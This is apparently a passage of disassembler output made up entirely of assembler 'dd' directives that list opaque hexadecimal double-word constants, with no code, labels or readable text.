		dd 0C5B87A46h, 5FB4D022h, 4EB25C42h, 1B273831h,	0A134CCDFh
		dd 766BEFF3h, 324652BEh, 0A6BBED54h, 8B77DBCCh,	93E94C6Dh
		dd 0A6375CF5h, 4B3BABBEh, 0BFDBF13Eh, 810A943h,	468076EDh
		dd 1A6DBA5Eh, 34A95186h, 0EDCC93F2h, 2BF52213h,	2E476989h
		dd 8A6DF18Ah, 50C5304h,	0A409D951h, 0EB140BD5h,	81260F34h
		dd 43655602h, 0F5A923E5h, 9EFB8B09h, 25A58276h,	6A42D3E5h
		dd 339DA7ACh, 896826B0h, 8B7B9426h, 442C51BDh, 0C17AF3F4h
		dd 0E1A8025Dh, 6647D5CAh, 0FB02B4FFh, 9B7203D1h, 17D72A23h
		dd 269130F8h, 9F4786DAh, 70EBC049h, 0A65C5641h,	68B68E56h
		dd 4EA60BAEh, 84699BF7h, 7D8E3C6Fh, 6C944CE7h, 1E2C22F7h
		dd 803BB546h, 37D43218h, 95F20A3Ch, 84F415E8h, 6B7EA0Fh
		dd 3C1C9D92h, 2E691340h, 467C370Ch, 68DFB7AEh, 5E92C5B1h
		dd 8AF76535h, 171B3631h, 28D0A518h, 0A4E5B1ADh,	0C8091115h
		dd 0BB396010h, 921E7353h, 5F551FB3h, 0C57905C4h, 0AA771FA6h
		dd 69FBC951h, 34345A61h, 330E71DFh, 9DF56629h, 0C275F4E8h
		dd 59FEA3CFh, 8F8EF923h, 0C844FAD2h, 34C2ED59h,	1FBFD8E3h
		dd 0E7C1C9B1h, 6B70F316h, 0ED04E0CFh, 2DB0D705h, 3E6FB6D9h
		dd 0C03212BFh, 6E8DE1A9h, 0B5249EECh, 85A5B6CEh, 0EF7BA087h
		dd 0F4D2A0F1h, 0D5935B4Fh, 7A4261E7h, 9F561702h, 0D078C75Eh
		dd 9A13E0C3h, 85FC5109h, 9ECD9AA2h, 0EC72D36Bh,	0F0163AD2h
		dd 0F2DEBA0h, 0C5F61960h, 5660F881h, 0A962E3E4h, 52740850h
		dd 29A8A92Bh, 0F92CC447h, 0AE82DB95h, 75DA6ADEh, 8EF469A2h
		dd 4D58F2FEh, 309E5E03h, 82068546h, 54896C5Dh, 0AFFE27B2h
		dd 0DDDB3B4Ch, 0C9BFA1E6h, 0ABC56294h, 0C2B3C121h, 0E9B2A575h
		dd 2F2C9DAFh, 12004178h, 0CDB74222h, 0A0976719h, 28FA49Bh
		dd 0CAC36017h, 563DAADDh, 0BE12D903h, 4CA8BFB3h, 0C3D4AC0Ah
		dd 2194A6F7h, 88D0F81Ah, 6CE45B0Ah, 82F4A52Dh, 9022DB2Ch
		dd 8C04C70Bh, 1BC07E83h, 9395D393h, 813DA75Ah, 641030D9h
		dd 589DEF73h, 0B8D345B1h, 48ABBB7Eh, 5A8FB15Ah,	0A5B7C750h
		dd 0F68C0438h, 0C6846626h, 0DF25B46Bh, 0FB4CAF66h, 39C072h
		dd 0C2D9E85Fh, 710BAD2Dh, 8A7A7C8Eh, 47A7FAFFh,	37CF479Fh
		dd 0D43DA834h, 3AD5B3DBh, 0C46E677Ah, 0DE5A0613h, 0C1733A45h
		dd 26CD75DEh, 26C04ED9h, 0F5B72FE9h, 0B54ABD94h, 2144C140h
		dd 5964750Fh, 845E74FFh, 93D79D1Fh, 0AC15A91Eh,	4E6EFACFh
		dd 2A7C7F79h, 9053CAAAh, 0DC89DFEDh, 0AF3172F7h, 0E56EA64Fh
		dd 8A038FEFh, 0A59BC2C9h, 971559ECh, 9EFE6E5Dh,	0B5E91078h
		dd 0EF3FF64Bh, 0D546DE2Ah, 7447A302h, 2435EFB1h, 877ED185h
		dd 0C743B2EAh, 0FC12FE35h, 5E8A26D7h, 0B0EB3DF3h, 0DE980A26h
		dd 9B6854C5h, 0FDB60096h, 0A564D51Bh, 0A3D31F27h, 1B45EFE2h
		dd 0CAE708B8h, 0A7415E90h, 0F9171649h, 7DE49063h, 0C2F9F292h
		dd 0D94E0DDh, 2A173C9Eh, 0B6B835F9h, 0A4A8D85Ch, 37A2174Ah
		dd 0D7842E5Fh, 8D9B9B29h, 2C7D4B7Bh, 9E55E282h,	0D8107E49h
		dd 8789FAA5h, 0BF8AF4C9h, 0D90EE4A7h, 7796A8B3h, 0D655AFFFh
		dd 6F3B2DC7h, 0AC3C1AC6h, 4BDD0D8Ch, 97BB1F71h,	6C0FA76Ah
		dd 213A9184h, 3D4FD43Dh, 0F636954Eh, 5CE00F96h,	0AF048A37h
		dd 74111356h, 2A4350F4h, 7A31C30Ah, 0CA510F67h,	23435A98h
		dd 6F409DDh, 9FC147A0h,	0AFF65EA8h, 4D144807h, 0D9DFC775h
		dd 3B6C8B5Eh, 87E0B731h, 5CB4DBCAh, 372FCEEDh, 8F73074Bh
		dd 0EFE72DBAh, 0B784FC1Bh, 5049F0DFh, 21697E77h, 273F2E00h
		dd 0A8716F21h, 9856EB46h, 5FA7AF18h, 37154774h,	0A074E9BFh
		dd 69BA82E2h, 2037D7BFh, 97957BEh, 2EECF098h, 69908375h
		dd 415F87F6h, 0F0870900h, 145E868Fh, 172BC441h,	6599B3C1h
		dd 7BB543CCh, 9AB245EFh, 75BB7D8Ch, 60FF03C6h, 71CF3C18h
		dd 12940D84h, 0BE85B990h, 1FA3E603h, 7D89035Ah,	0F83A245Ah
		dd 0FE5B7B0Ah, 6953FF0Ch, 22F74A21h, 1B2B1D6Bh,	0E71D4D4Fh
		dd 9E628EEFh, 2718FADDh, 0A4DC1340h, 7B5611FAh,	557738F6h
		dd 2ADA4B51h, 4EF6F3B8h, 7CD9A0F3h, 0A9E770C9h,	0FE0BA93Ah
		dd 0A71594EFh, 58321AD6h, 90894B86h, 0D83F5762h, 0FEBCC0C0h
		dd 11138D60h, 437D9355h, 84DE4F3Ch, 0C2ECCDE1h,	0A8156A87h
		dd 86333D33h, 9F7EA2ACh, 72F1BCEDh, 0A19EF4AAh,	4194FFFFh
		dd 638DC9D9h, 4973C6E0h, 3E286510h, 3279D0CAh, 0FFEA5638h
		dd 60BEF038h, 7DAB8F75h, 399B13AEh, 2A86EC87h, 89FA9613h
		dd 3788FA13h, 0B7D8B02Ch, 0E3A0B34Eh, 9FD6FAh, 231E9869h
		dd 0F767BCEh, 630DEB38h
		dd 0C38ABAD5h, 4CD07FF2h, 819F1CF4h, 5F78452h, 722D828Ch
		dd 717440D3h, 9C23851Ch, 0F7B0F63Dh, 0CCA4DDBEh, 4A39AD41h
		dd 9856BC2Fh, 5FE64BFEh, 1BA5F6D2h, 490C1F29h, 0F8AB9AEAh
		dd 1F8EF0D7h, 7968ABA2h, 9A46F3EFh, 4BBEA6B5h, 42A530EFh
		dd 0B87DEABh, 0F0986C43h, 340A716Ch, 1C660888h,	25156E0Bh
		dd 987B0F60h, 209D6CBBh, 2C719CBEh, 3288FC0Ah, 383AEB8h
		dd 6108C0DDh, 0FA36C8D3h, 0FDB5E937h, 74696DA5h, 0E4240D3Ch
		dd 0BF7731B3h, 0A2E0A8C2h, 2F243062h, 7994496Dh, 223EAB2Ah
		dd 0DFD87D06h, 2D06082Ah, 7069DEFAh, 0BA38D46h,	2415E40Eh
		dd 98E77A0Eh, 54C165DBh, 8ACFF2CDh, 0EE29B4EDh,	4E9C99F9h
		dd 0FD5BFC16h, 574C8A89h, 0E54EFD30h, 0DA8A4A8h, 0F11E5938h
		dd 4A362267h, 930D5C47h, 687337DAh, 0BF6D90EBh,	2D39B6DFh
		dd 98B0CD6Ah, 7442D64Bh, 52AC5FBCh, 0BC91A390h,	15DC1132h
		dd 7432DF8Eh, 47A2DF8Ch, 0B9ED4099h, 2E478E32h,	0E7BD15DCh
		dd 0A0F8D1DDh, 90E525B4h, 0B9E1D261h, 0D49993FEh, 68DD78ABh
		dd 0DC4947B1h, 9E17AA53h, 42E965A3h, 4F92D0AEh,	0FD624C78h
		dd 0FC1792DCh, 0A45EFA13h, 7908715Ah, 0FF77A067h, 8BFAEFC0h
		dd 0C2DC30DFh, 0E2801EF6h, 0E3943C68h, 7E68627h, 0AF315E7Ah
		dd 4E02B9Dh, 0BE70701Eh, 634ACF1Fh, 4D22E981h, 5E21A686h
		dd 0D2A2DDC6h, 0D2D0C5E2h, 0F4F0544h, 0C8089D7h, 84E533EBh
		dd 22D7BD72h, 6B9FB5FAh, 0B4266069h, 12AB4BEAh,	0AB9057E7h
		dd 63F6EC18h, 4EF56C49h, 7E85D804h, 819B66DFh, 9FAEFE88h
		dd 6C09772Dh, 0E3BBD686h, 0F822A829h, 609EDC7Ch, 0AFF2669Ch
		dd 0E5B37D75h, 0ECFD29BDh, 0C9F88B43h, 194B4A7Bh, 3537206Ah
		dd 9237520Fh, 0DB3C3333h, 0AF88D4B2h, 0D842838Ch, 0FDA9A76Bh
		dd 450C4760h, 0E20F833Ah, 4AD98005h, 548A409h, 0EDD95FFDh
		dd 0FE90FC18h, 37790C8Fh, 73209F55h, 8ACFEE0Dh,	0C9C889F6h
		dd 0A20E1D5Ch, 1FCE1D73h, 0BC8E8EDDh, 2DB6CCF1h, 9717A002h
		dd 0DD0C84CAh, 536880EBh, 70E8079Eh, 0B82B398Eh, 0D9B3C91Bh
		dd 389D989Bh, 0EE930FCh, 0A77B4C77h, 3E789EE1h,	0EAD559E5h
		dd 0CD7855B5h, 0C7CEA96Bh, 0DE2A3347h, 0C251EB01h, 0C845F7D9h
		dd 43B922BAh, 56F070CBh, 0F089EC28h, 0CE0D5EB5h, 0D3D65FEEh
		dd 0E7B695AEh, 3F1DEB59h, 881ADB4h, 0F6B24C6Dh,	0B29FF017h
		dd 0B6F8A835h, 4F609B8Ch, 6CD0E616h, 0E1DDBBC2h, 0B1411CBAh
		dd 0F0915A94h, 4A1455D0h, 0E7E89DA1h, 0AAF3BC7Eh, 8390361Ch
		dd 4FDA026h, 447A3C9Eh,	0E0A06E95h, 1D534B5h, 826D9C5Bh
		dd 19774279h, 0F3DB8F0Bh, 2C01A1CAh, 0A8A31CDEh, 108F8B7Ch
		dd 0EC4CD047h, 91679509h, 0F80FF2D4h, 33E8FF62h, 9F3311CFh
		dd 655C57CDh, 1446A851h, 62541DA5h, 5251AAE7h, 851546F6h
		dd 0BA26FC82h, 88C1900Dh, 380AEA89h, 41FAA19Bh,	9D3E6BD6h
		dd 1634056Ch, 5E64036Eh, 52A4BE09h, 77C99B34h, 0F9477127h
		dd 0FA10F76Bh, 0E5A59348h, 9692F606h, 0DD6998BCh, 3887289Fh
		dd 0DCC3660Dh, 718D0DBCh, 0E9D3E662h, 9CCB4450h, 0E84DAD52h
		dd 21AE3306h, 0B27F18B3h, 9772229h, 36B5508Dh, 2E6A1BC3h
		dd 618D9F30h, 0E9A9EC0h, 0F8F3867Ch, 0CACF371h,	79691CF7h
		dd 0C06C5649h, 0F41D2867h, 0AF5629D4h, 0B93CE228h, 0C6E0B333h
		dd 0EADA0372h, 262F8708h, 1E4BBA89h, 0BBBA7B5Eh, 0D314046Eh
		dd 683DA834h, 5E157B93h, 879D90C5h, 0CD180F51h,	0ABE60E31h
		dd 44695DD5h, 0F7C1B39Dh, 0BE5365B3h, 0E20008E7h, 0DE931605h
		dd 0D40B8581h, 4AFC4F34h, 6E2973FEh, 0B182F44Ch, 499577F5h
		dd 0BB07D95Dh, 7BD4EE1Eh, 0C83FEC52h, 350E1BAh,	1F64257Fh
		dd 93A603CBh, 0D2D845C0h, 4B9B9DCCh, 3AE5A74h, 0A545185Bh
		dd 1AA918Fh, 1CA6DEDh, 0DAD83A31h, 551FD8AEh, 1F5EAFAh
		dd 98F3E346h, 9D01ADB5h, 329A773Eh, 4043CA75h, 6D801AC5h
		dd 16D8F55Ah, 987A378Dh, 0DF45DE5h, 0D7EF939Fh,	55D6D127h
		dd 5DB3C8ACh, 4DE5285Ch, 76DA0950h, 7D09529Ch, 0EBE79704h
		dd 0F66A5B75h, 417899DDh, 6636566Bh, 0C0888576h, 0D40C5DFAh
		dd 0E7482B78h, 0E0E5E5FEh, 0F0DEE503h, 0C0FEBB8Ch, 55C6F368h
		dd 83B9D3B9h, 54BA0FC3h, 13AEF645h, 10F58F1Ch, 3F7CE5AAh
		dd 0A308363Bh, 0E1636D5Bh, 0DFCE7621h, 0DDCE73FAh, 98275C05h
		dd 0E346A864h, 8F04E42h, 0CD5FDD1Ah, 41DC19F6h,	5BDDDEBBh
		dd 0CA78D944h, 0D020F6DCh, 648CA1A7h, 0FBF1F961h, 96904A87h
		dd 256BF1F1h, 8E085BB2h, 0FD8C8D38h, 446752Ah, 0D6637872h
		dd 9C3E357Eh, 3F115105h, 0BF8BC9C3h, 0AD3DE014h, 912150CCh
		dd 0B762B7BBh, 86687559h, 0A53C2E13h, 0D96D2EA1h, 3740F2DFh
		dd 20F0D168h, 46FB9A3Bh, 85CDF897h, 6E01CD87h, 0A0548D1Fh
		dd 5BC1052h, 65C30B4Ch,	8638521Bh, 1C0BEEBDh, 0DE954091h
		dd 53A57F81h, 0B1C1FE83h, 839B2535h, 986F3096h,	2BA25652h
		dd 0F221C4BAh, 9657476Ch, 0C373007Eh, 274E8E7Dh, 0D48BA60Fh
		dd 598188C9h, 470363C1h, 8B37F9DEh, 22146B9Ch, 8A6AD0A4h
		dd 8CE387C0h, 0D745BD34h, 9BA8CA8Bh, 3849EACDh,	0E209D5B4h
		dd 771A780Dh, 1CC246A3h, 0E0F17D86h, 1F05A9D9h,	53CB663Fh
		dd 0A2C50113h, 0F309BF2Dh, 7B1C27F9h, 0B364E3DCh, 9D15494Eh
		dd 0DFBCF995h, 0E4A5A822h, 95715FBEh, 0B80176Dh, 711C78E6h
		dd 0E0130324h, 55BC2AABh, 0D8B09186h, 6C5A8080h, 5DB4F76Ah
		dd 0F2868815h, 8CB11A19h, 51F9C99Dh, 648A20DEh,	0C618E65Ah
		dd 47D3A407h, 0EB322ADAh, 184F3C5Bh, 0E8650282h, 74C90494h
		dd 230D4CFEh, 3E66EC6Bh, 901EBB66h, 0D0D434CAh,	0B6969402h
		dd 8BE89D6Eh, 0D67E7368h, 0C70767CEh, 4C8A1AADh, 8A0C1CC2h
		dd 45BF6256h, 6164936h,	12B13CDCh, 59C33795h, 0D03EB103h
		dd 0BB4F5CD2h, 312F7D46h, 0B43D151Ah, 0FD25C6AAh, 4864D36Ch
		dd 63387D5Bh, 2126FD93h, 0ED480B3Dh, 0AC161C40h, 4EB2BBC6h
		dd 4818F1BDh, 7F5A37Bh,	0BCDE9490h, 86E38D0Bh, 994C7B07h
		dd 0A598022h, 4B98ACDBh, 437FFD6Eh, 0E08C0D27h,	0EEE83A43h
		dd 4978B96Ah, 0BA35BA68h, 11ADA3B6h, 433B8942h,	0D5DA41DDh
		dd 19BB2F01h, 10BE3BA9h, 0B1A85849h, 9798114Dh,	0E9D16762h
		dd 244351A1h, 7EFDB850h, 6816B44Fh, 0E7A5F477h,	11F282CFh
		dd 65FDECDBh, 0BDA6445Ch, 62A5DC16h, 5EFA364Dh,	168DC0C0h
		dd 0A30AFBACh, 981CBF75h, 34914E73h, 705137B7h,	130969BDh
		dd 2E973EDBh, 17748E47h, 33D1EB77h, 0C4A2F8B8h,	9165A2C4h
		dd 9C4851A9h, 0DD0AE709h, 0D8CF7B16h, 0C520BD64h, 18216DAAh
		dd 999497E1h, 7E863A73h, 0E97CEE82h, 0D14CA7BDh, 9C8A2B31h
		dd 0D6F94055h, 0AEA53579h, 5F5B6323h, 12128D5h,	674D002Ah
		dd 0F32C6A71h, 0D4BDC828h, 0C9769106h, 7795E127h, 206AA9A2h
		dd 1841CFECh, 609A7799h, 86CBB6FAh, 14CAC63Ch, 2AA7F83Eh
		dd 322CB640h, 38D01A10h, 5BC18A33h, 9BEC9503h, 0AA0E0E28h
		dd 4339360Dh, 8D556393h, 8CA753A6h, 2803458Eh, 51CE1970h
		dd 339811Eh, 8C4A6D7Bh,	293C15D4h, 24107BB6h, 3A9B6FC4h
		dd 0FA459B9Eh, 19D235D3h, 665B3646h, 7CE83074h,	0E95FAE37h
		dd 0E0A225BFh, 5BDEF0ECh, 7F4F4345h, 83C4ABD0h,	0F0F54882h
		dd 2174D1F0h, 0EAD02754h, 84271C0Fh, 0EE82A447h, 0AA44AFAAh
		dd 4A6C7C34h, 604693BAh, 57658B87h, 0EAB59903h,	0FE98AF48h
		dd 508EDAA7h, 2D6F4CE4h
		dd 0FBD52CECh, 88B0537Fh, 57095AE6h, 0F99C2C0Dh, 48C055B4h
		dd 0D5BDECF9h, 5317FBCAh, 0B1BEBFF3h, 0E2662697h, 0B0C491CDh
		dd 5F3C135Fh, 94D409C8h, 0CFDBAC6Ah, 5216315Eh,	0DE23FB8Ah
		dd 0AC829638h, 8544182Ah, 0DB9EF34h, 81BB2A4Ch,	4BA635EAh
		dd 288399B2h, 0BD998704h, 0E14E5671h, 81C59C56h, 67E86172h
		dd 593A6377h, 4C43019Bh, 0CDCD0BACh, 2E3B4FB2h,	731E34C7h
		dd 0A8C72DB8h, 59443823h, 0A906B876h, 0A1742788h, 0EF4B1F05h
		dd 0FE023EB6h, 0E641B690h, 237A937Eh, 9AFD0507h, 0FDD5D9EBh
		dd 632888BEh, 6582E0Eh,	8F1126D9h, 0CB925CF9h, 0D5CBB383h
		dd 0FCEC073Ah, 40DBDF5Ah, 73E4A16Ah, 0C641B3E8h, 0FE8A2C58h
		dd 0F7FAB666h, 552CDA4h, 0CE7C3BB4h, 38E40291h,	0CB7A266Ah
		dd 0B7B8B381h, 0DDC3FA57h, 9C6BFBE8h, 4718A0AFh, 0A0DD3B95h
		dd 0D60AB95Eh, 0C5773EC7h, 84BA9E0Dh, 0AEDA075Bh, 3A407E52h
		dd 0CEE596A0h, 0D994DDBCh, 70B8AAC4h, 8F5E852Bh, 251A8251h
		dd 0BB2B9635h, 71EC32CEh, 0EE8E6667h, 21152F07h, 0C0D17286h
		dd 3FCBE275h, 0E7F4D00h, 860377ACh, 0BC4C459Eh,	70EBB0DCh
		dd 3713453Fh, 0F236EA81h, 298A54D7h, 0BCCED21Fh, 6748A2E2h
		dd 0B3FA1357h, 3319CD35h, 0ACF614Fh, 9EC0BF61h,	41EC26B7h
		dd 3BA7A141h, 0F25A3340h, 0B0CB123h, 297CE38h, 0BF7823B1h
		dd 4A560EAFh, 1D047CB0h, 0F74B4A9h, 16D0CF79h, 7186B2F3h
		dd 72E0EF70h, 32E172E5h, 4B524798h, 0C228AE72h,	0CB8D21DAh
		dd 1C221595h, 0C9CC06E8h, 0D8486017h, 0C9730384h, 0B9D19946h
		dd 7BB6A1EBh, 1322FFDBh, 0C0C5F4DFh, 76F16E05h,	4FC038F5h
		dd 104C34E7h, 1EB77304h, 8595EDA8h, 0C7F05796h,	2A10202Bh
		dd 0DDD42433h, 75541AD0h, 57D135FDh, 31452B63h,	1F7972A2h
		dd 5D55CA23h, 8F76AC6Eh, 0FBE2A334h, 15368627h,	0E9AD9C2h
		dd 5F5476A1h, 74FBE4F0h, 7D2137EEh, 45AB0C23h, 0F25589D8h
		dd 0FCD004F4h, 363494FDh, 0FE236FAAh, 0DEBF2F52h, 183D99ADh
		dd 99C9F123h, 6FB4DF50h, 56CE7E97h, 5A9A4B9Fh, 5C7063A0h
		dd 0BF6CC899h, 858D882Ah, 91AA547Ch, 0FEB20EF0h, 0D3F103A3h
		dd 0FE3470E2h, 0D9B56273h, 79743996h, 14667AE8h, 5B5FCF67h
		dd 759DA2C4h, 0C44D4271h, 796EF0C9h, 0F3433FCDh, 0D9201051h
		dd 9DE9E6C7h, 865D5095h, 540B380Bh, 0AD3F4A20h,	0FB18C21Fh
		dd 3BAC3B25h, 58668F74h, 54239179h, 4A566084h, 5F70ABA7h
		dd 4F4CCAC4h, 598C8177h, 34E83A8Fh, 8E481714h, 292D1744h
		dd 39B7542Ch, 0BBAC5038h, 0B6AD811Bh, 0DD0F0B4Eh, 2CE41872h
		dd 7F975855h, 0A84699F1h, 66D0F899h, 48AA1078h,	55BB1863h
		dd 2F43BDBFh, 0C9E95E24h, 2C597D7Dh, 6608C8BEh,	0DAF61390h
		dd 3820AA69h, 73234D64h, 0EE9A5E9Ch, 64F990C8h,	8E17BA47h
		dd 5F098BDDh, 8CD4CCBEh, 162045BEh, 8CE34811h, 16559608h
		dd 0F5E49737h, 0EB3FAEB0h, 0CBE842FCh, 0ECBEDCB8h, 0CCE10112h
		dd 147873CBh, 9FBDFDE6h, 0F71568DDh, 4D72054Fh,	8BE2F817h
		dd 0D3B950F2h, 44949DE7h, 0F36B936Ah, 0B4AFFB9Dh, 46C63833h
		dd 910FF675h, 53999E04h, 147AF752h, 0B0551C05h,	83755584h
		dd 0F6B55ED6h, 0E1A99E90h, 9BF7543h, 0DB5B04C2h, 4CE35C6Ch
		dd 0D2089CDFh, 0E3DE3E9Bh, 751CAEEh, 1A70AA08h,	36CE18C9h
		dd 9ECD84E1h, 3D494BDEh, 0D59537A0h, 57BF2F80h,	1F79E30Dh
		dd 0E1F8BCC5h, 943EA48Ch, 0FC75EF4h, 0F34085D2h, 293B80F4h
		dd 2A8A88CCh, 0F3FD0AE9h, 0CA3454F2h, 1BE09F7Ch, 274BF751h
		dd 9530B135h, 1941FFDEh, 7F2273ABh, 7AFD8D64h, 0DAABFC5Eh
		dd 100AC866h, 0D1A96498h, 341D8821h, 55A2E0EEh,	40773F0Fh
		dd 12FFA927h, 0A38B8AEh, 98C5D5AEh, 9D59D520h, 0BEFC1B20h
		dd 4A427B6h, 7A4222E4h,	29E21F70h, 1933A043h, 0EB2CCB36h
		dd 0D5B90B9Fh, 0A7766589h, 3B35A60Ch, 60FAA326h, 6E66FE02h
		dd 4456E132h, 65B284C4h, 0D5779403h, 1FD6074Ah,	0B8329C5Bh
		dd 974474DCh, 69EE239Dh, 1CF244C1h, 8FCC26C8h, 4CC4B8F2h
		dd 82F2D1DAh, 4DBD7F43h, 3686F0C5h, 0B1DCAE5Bh,	57ECD346h
		dd 0F0B82738h, 0D39160Ch, 1FC381DAh, 9289C04Bh,	1E50E185h
		dd 0B280D129h, 3E1F06E7h, 0BBA01CADh, 9714C4Bh,	0C7BED895h
		dd 9947EC06h, 0A94370FDh, 9AADE616h, 0CFA84D58h, 8B0A2396h
		dd 2106FC1Dh, 0B4CB2A2Bh, 429709ECh, 117D5BF2h,	3E6301B3h
		dd 0F54BEAC4h, 0F8253869h, 0E1E5BAD4h, 27AE44B2h, 4B6FEA4Eh
		dd 7F295F6Bh, 0DF68CDA3h, 7D3AFCF9h, 0C21739E9h, 0FEC19FE0h
		dd 0D6B65CDFh, 56E18C5Eh, 0BA7B93h, 9C3EFF9Fh, 0E7DF1711h
		dd 4EAC6Ah, 0BFFEABE4h,	0FA858991h, 7B50A6A7h, 0A785E70h
		dd 8CF385D1h, 3B40675Dh, 70883E59h, 0E28B3E81h,	34BBB1D9h
		dd 0A5DCD5BDh, 0A2A97EBBh, 0F5734D3Fh, 79250E6Bh, 0C37C15EAh
		dd 68E7528Bh, 0E579A281h, 80B8515Ch, 0F321E314h, 0BC642EFDh
		dd 0BDCC001Dh, 0C4A748AEh, 18199144h, 0D40EAAC2h, 0AB32CD9Bh
		dd 1CAE996Ch, 6A4DA606h, 74DB63FBh, 613E9FDDh, 5099A47Dh
		dd 417D222Ah, 439E5A34h, 0BAFDF47Ah, 0D5BC2889h, 74B44E7Eh
		dd 3F5AF82Ah, 0A4BE86D7h, 16935C5Dh, 5EB587E1h,	0EBA13EC8h
		dd 0C2F2CCD0h, 65DD87B3h, 0B92B1CA8h, 52B0FB58h, 0CF02926h
		dd 0CE7B34AEh, 59468EB2h, 0A3A2527Fh, 70679C5Dh, 0DAF5AF3Ah
		dd 89FD5F5Dh, 7D8EA422h, 3438DF58h, 0C05D34F4h,	0D1FB8924h
		dd 0E4939A2Bh, 809A0173h, 0B4BE3C30h, 60F2348Ah, 3B378577h
		dd 6A8CA652h, 0FF476355h, 0FCCCDED3h, 0CB5D578Bh, 169F5A70h
		dd 7C0E0FE8h, 7FB80C8Bh, 5E285405h, 96DDE17Bh, 4DD5C49Ah
		dd 0DCC09C93h, 0A232B8F2h, 395512A2h, 7466CC93h, 0D84E3CDEh
		dd 0AB9128ECh, 109A1D3Dh, 4443A251h, 22CFBDD2h,	8492FD95h
		dd 4298E49Dh, 8D910527h, 4DF66DAFh, 563F495Fh, 6E9F2C6Fh
		dd 48AEE101h, 7532945h,	0C933EA7Ah, 795B884Ah, 0D488F28Bh
		dd 2E3F0D64h, 6861A582h, 7A3B2917h, 38C1BD84h, 0FFC806C1h
		dd 74C3BB8Fh, 0C2746889h, 0AA9AD20Ah, 76FB1F41h, 0A94C0B95h
		dd 8253B558h, 8FE3345Ah, 540FE2C8h, 4311910h, 0AD422A51h
		dd 78F25036h, 0B60D76BFh, 0E3104AF6h, 4F3D7CCh,	0CDA07955h
		dd 0E932B520h, 93AE8ED9h, 4D29CA01h, 0DF2D64D9h, 8FB5D62Dh
		dd 4E9968BDh, 2058DAAAh, 0F56B141Dh, 0E173496Fh, 569208E1h
		dd 0C55EC2E7h, 0F5CDE95Dh, 0DD619469h, 73EE87A9h, 2C759F06h
		dd 8B5AA054h, 0DC1CFE3Eh, 0F348ECCAh, 303B5178h, 101DC8B9h
		dd 4E7D6D0Eh, 72CBEA67h, 0DBDF3B1Ch, 0AEB36F58h, 4C6CCF11h
		dd 4D3CD213h, 983F707Dh, 6ADE169Ah, 9A62F6BDh, 6D53F5EAh
		dd 8AD98584h, 36C958E3h, 0DBE2DD79h, 0E4497EB3h, 1C73C3D8h
		dd 0CF162BE4h, 0F5D7F6A2h, 9C4A8EF6h, 61A08027h, 75BF9E13h
		dd 0AA2C232Ch, 8CD4BC75h, 0B18B42FAh, 0A75E1068h, 2EDD6C76h
		dd 6DFA4200h, 3C8EE7E2h, 0FBD0B26Fh, 0A2E78DBBh, 57F13471h
		dd 5271726Bh, 507F1CCh,	0C57EC037h, 21A850CBh, 0C34D2F85h
		dd 0E509A6DAh, 455F8CC6h, 15211D61h, 40CF8F8Dh,	7F0ECDA7h
		dd 4404406Ah, 0CD378F11h, 23359858h, 67A624CBh,	27C80DC9h
		dd 0E73B6065h, 0F624C2B0h, 3234FA2Ah, 0F0C4E49Eh, 3B059FA6h
		dd 444DA6BCh, 3995206Ah, 0F9106456h, 5496D112h,	9D1C82C9h
		dd 0FF71BCC0h, 0C9BDB87Fh, 5F2F3F42h, 3A7535DCh, 0AF0BC738h
		dd 6A560651h, 0D522B6F1h
		dd 3801A0EEh, 8EB5A638h, 85B2FBCFh, 2EF5A864h, 93F4B66Fh
		dd 0BFD74243h, 442CCD05h, 896C6A67h, 19A1CD05h,	0D4485C76h
		dd 294B7C62h, 17A5A464h, 7AB5A9B5h, 8DA62B9Fh, 7DC20D0Ch
		dd 131F8BC5h, 1070891Eh, 963DA219h, 0B6BA71Eh, 82E97FF8h
		dd 453E96DAh, 87E5EBD8h, 938226E5h, 0E3C4872h, 37AAFA01h
		dd 2E399722h, 8B3F4391h, 0B10F4E6Bh, 13BDE47h, 7F3C0C53h
		dd 0AFE27BC5h, 7862943Dh, 570BCA31h, 1C9568ADh,	9F30A7B1h
		dd 5AF95728h, 0A00A42F2h, 0B6112B48h, 0EBDAE956h, 0C25B4D40h
		dd 0D96A8965h, 4810E66Dh, 5FC43C07h, 23F62097h,	6CAEA5FFh
		dd 0E5EEF58Bh, 591D5866h, 88A6D47Ch, 3BD481ADh,	0E71B6D08h
		dd 3B21270Ah, 6CF3F01Bh, 1D148DD3h, 0BEC8DB09h,	164B165Bh
		dd 0BA9DACDAh, 24DCC96Fh, 9F88DBD7h, 2A7107DCh,	4C5AA86h
		dd 218A4B08h, 6F80546Ch, 12AA275Dh, 5D4934F4h, 0F0491441h
		dd 0A3300153h, 8349B348h, 0EB2EFAD2h, 0E6C7CF45h, 9C1535FFh
		dd 0E429F7F9h, 0ECFC06ABh, 585F31CAh, 10E0B69Fh, 7A1EC2B7h
		dd 41CE6995h, 4525A387h, 0F9EF319Bh, 99D12587h,	0EC0478AAh
		dd 6580DD5Bh, 6E65909h,	7BCE01EFh, 0B3DCF392h, 0EAFCF2B5h
		dd 0F8B69D4h, 550D3935h, 570B4A03h, 0E6D0BAC8h,	0F809DC5Dh
		dd 14249C40h, 0D333196h, 0B7683DE0h, 9C8E96A0h,	0D3E70315h
		dd 98C6131Dh, 5AE59517h, 0A9C84815h, 0A9D11947h, 0DAE35DE0h
		dd 0A7F6F973h, 333B7C79h, 9BBD9350h, 8BC89856h,	0FC664DCEh
		dd 89C6AAD3h, 0BFE11FF0h, 1C7E72F5h, 20266E6Ch,	3052FE8Ch
		dd 9E84FFAAh, 949AB3A1h, 0E7F6EFC8h, 74558C79h,	0C7AC30BFh
		dd 0D8E4EDB7h, 8A5FB8C8h, 7CF05052h, 666411CBh,	3622EA24h
		dd 0BE5E65ADh, 1044D978h, 0A4A951EDh, 28B81BC6h, 72D773B6h
		dd 0F0D0F116h, 4BEB4112h, 9F9F1DA6h, 0FD02AB22h, 96DA22F0h
		dd 0DCB9B8BBh, 642FB6E6h, 0FAFC78Ah, 9571BC27h,	5B8A5622h
		dd 0DCB8A8AFh, 0B3EA1743h, 0DCF0084Fh, 5A0744D5h, 1D69E266h
		dd 0A50AB81Ah, 8B092038h, 79AB4974h, 0B03F645Eh, 0F0525E05h
		dd 0CB85519Bh, 0E6AA3105h, 0FB8955A0h, 0ED9730EEh, 0EC70BB21h
		dd 0A9F8190Eh, 0BAF49C76h, 8287EC4Eh, 11941CA3h, 7EC9B4DAh
		dd 76046CFCh, 2DDCBBF1h, 8645F85Ah, 36AD68D1h, 0F918B042h
		dd 0BE0EA889h, 3663BA24h, 42566C36h, 4AAE60C9h,	0A0CBC4D8h
		dd 0F52B0C4Dh, 165DD254h, 0B5DBAF95h, 13BCE703h, 0CAC99427h
